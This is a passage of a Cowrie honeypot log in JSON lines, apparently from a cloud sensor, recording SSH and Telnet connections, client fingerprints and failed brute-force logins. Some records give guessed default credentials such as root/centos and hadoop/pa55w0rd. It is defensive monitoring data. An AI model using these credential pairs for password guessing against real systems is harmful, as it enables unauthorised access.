cm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:14.241809Z","src_ip":"118.194.229.94","session":"07a77afed0e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"pa55w0rd","message":"login attempt [hadoop/pa55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:14.894189Z","src_ip":"118.194.229.94","session":"07a77afed0e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:16.052958Z","src_ip":"118.194.229.94","session":"07a77afed0e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":53966,"dst_ip":"10.17.0.5","dst_port":22,"session":"25afb2cb0568","protocol":"ssh","message":"New connection: 103.15.226.202:53966 (10.17.0.5:22) [session: 25afb2cb0568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:20.567979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:20.572425Z","src_ip":"103.15.226.202","session":"25afb2cb0568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:20.827418Z","src_ip":"103.15.226.202","session":"25afb2cb0568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:21.591917Z","src_ip":"103.15.226.202","session":"25afb2cb0568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:22.850040Z","src_ip":"103.15.226.202","session":"25afb2cb0568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":18950,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ab91a85187a","protocol":"telnet","message":"New connection: 212.55.149.117:18950 (10.17.0.5:23) [session: 8ab91a85187a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:45.907676Z"}
{"eventid":"cowrie.session.closed","duration":36.469104290008545,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:18:48.847398Z","src_ip":"128.199.8.54","session":"3f9a56ac097f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":40362,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e14c7be87b0","protocol":"ssh","message":"New connection: 43.160.242.74:40362 (159.203.135.109:22) [session: 8e14c7be87b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:19:12.435485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:19:12.440135Z","src_ip":"43.160.242.74","session":"8e14c7be87b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:19:12.676722Z","src_ip":"43.160.242.74","session":"8e14c7be87b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo@2024","message":"login attempt [odoo/odoo@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:19:13.658116Z","src_ip":"43.160.242.74","session":"8e14c7be87b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56516,"dst_ip":"159.203.135.109","dst_port":23,"session":"4467d7346823","protocol":"telnet","message":"New connection: 128.199.8.54:56516 (159.203.135.109:23) [session: 4467d7346823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:19:13.994012Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:19:14.903095Z","src_ip":"43.160.242.74","session":"8e14c7be87b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40532,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3ff1e483766","protocol":"telnet","message":"New connection: 128.199.8.54:40532 (159.203.135.109:23) [session: a3ff1e483766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:19:35.177198Z"}
{"eventid":"cowrie.session.closed","duration":59.82348346710205,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:19:45.731137Z","src_ip":"212.55.149.117","session":"8ab91a85187a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.48439145088196,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:19:49.478269Z","src_ip":"128.199.8.54","session":"4467d7346823","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.065733432769775,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:20:09.242825Z","src_ip":"128.199.8.54","session":"a3ff1e483766","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":42470,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3c7e08df478","protocol":"ssh","message":"New connection: 43.160.242.74:42470 (159.203.135.109:22) [session: f3c7e08df478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:20:13.132471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:20:13.137063Z","src_ip":"43.160.242.74","session":"f3c7e08df478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:20:13.373704Z","src_ip":"43.160.242.74","session":"f3c7e08df478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"654321","message":"login attempt [guest/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:20:14.353233Z","src_ip":"43.160.242.74","session":"f3c7e08df478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:20:15.593865Z","src_ip":"43.160.242.74","session":"f3c7e08df478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":48804,"dst_ip":"159.203.135.109","dst_port":22,"session":"221feecb4581","protocol":"ssh","message":"New connection: 118.194.229.94:48804 (159.203.135.109:22) [session: 221feecb4581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:20:19.237368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:20:19.243511Z","src_ip":"118.194.229.94","session":"221feecb4581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:20:19.418600Z","src_ip":"118.194.229.94","session":"221feecb4581","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"password123","message":"login attempt [sftpuser/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:20:20.155776Z","src_ip":"118.194.229.94","session":"221feecb4581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:20:21.334639Z","src_ip":"118.194.229.94","session":"221feecb4581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50316,"dst_ip":"159.203.135.109","dst_port":23,"session":"d40a7cec7739","protocol":"telnet","message":"New connection: 128.199.8.54:50316 (159.203.135.109:23) [session: d40a7cec7739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:20:24.119228Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42864,"dst_ip":"159.203.135.109","dst_port":23,"session":"d973b37bbdad","protocol":"telnet","message":"New connection: 128.199.8.54:42864 (159.203.135.109:23) [session: d973b37bbdad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:20:34.044307Z"}
{"eventid":"cowrie.session.closed","duration":33.89695882797241,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:20:58.015950Z","src_ip":"128.199.8.54","session":"d40a7cec7739","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.2965772151947,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:08.340728Z","src_ip":"128.199.8.54","session":"d973b37bbdad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":55376,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1cb504ddd80","protocol":"ssh","message":"New connection: 43.160.242.74:55376 (159.203.135.109:22) [session: f1cb504ddd80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:12.419667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:12.425041Z","src_ip":"43.160.242.74","session":"f1cb504ddd80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:12.663302Z","src_ip":"43.160.242.74","session":"f1cb504ddd80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser@1234","message":"login attempt [devuser/devuser@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:13.644370Z","src_ip":"43.160.242.74","session":"f1cb504ddd80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:14.889174Z","src_ip":"43.160.242.74","session":"f1cb504ddd80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40876,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b3c8d5db0a5","protocol":"telnet","message":"New connection: 128.199.8.54:40876 (159.203.135.109:23) [session: 5b3c8d5db0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:31.415512Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.242","src_port":33526,"dst_ip":"10.17.0.5","dst_port":22,"session":"98d7e0dbea75","protocol":"ssh","message":"New connection: 78.111.67.242:33526 (10.17.0.5:22) [session: 98d7e0dbea75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:39.403727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:39.408559Z","src_ip":"78.111.67.242","session":"98d7e0dbea75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:39.498578Z","src_ip":"78.111.67.242","session":"98d7e0dbea75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:77:36:6d:57:a5:4a:08:de:b4:8f:8a:06:5a:b8:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/12BjBgbyqrEzCKA6XE96Ode1HXwIfCIHbHXYEb6jiR+8Hpi3qva9Tqe6qoBsBrftL9meQ8Ks7A1RwEzB9d0GQbQ8luv7G4liTX0lFw8L7uR9MmY4QYdaUWCplIhCIt+njqoIpqSUwWS9iBFhpUGHGCZc8ug9x9Oty8zTeY5h+L5JUX0sCaqo0plcpzaubPefVMIA+v/1CeRNbXyEt2Tw6Uf6etgsq33wlOWV05SVHLgYNL0D03PZLKFKWoEOKDK4mQdnBiGof04T6VjHmvpM5/3bpRFku/o9QGo9DLx5IzGsBqRuYof5ITjDV0BmV87F6OYOFGpOTFCxQT+GONdv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:77:36:6d:57:a5:4a:08:de:b4:8f:8a:06:5a:b8:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:39.930123Z","src_ip":"78.111.67.242","session":"98d7e0dbea75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:77:36:6d:57:a5:4a:08:de:b4:8f:8a:06:5a:b8:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/12BjBgbyqrEzCKA6XE96Ode1HXwIfCIHbHXYEb6jiR+8Hpi3qva9Tqe6qoBsBrftL9meQ8Ks7A1RwEzB9d0GQbQ8luv7G4liTX0lFw8L7uR9MmY4QYdaUWCplIhCIt+njqoIpqSUwWS9iBFhpUGHGCZc8ug9x9Oty8zTeY5h+L5JUX0sCaqo0plcpzaubPefVMIA+v/1CeRNbXyEt2Tw6Uf6etgsq33wlOWV05SVHLgYNL0D03PZLKFKWoEOKDK4mQdnBiGof04T6VjHmvpM5/3bpRFku/o9QGo9DLx5IzGsBqRuYof5ITjDV0BmV87F6OYOFGpOTFCxQT+GONdv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:21:39.933989Z","src_ip":"78.111.67.242","session":"98d7e0dbea75","protocol":"ssh"}
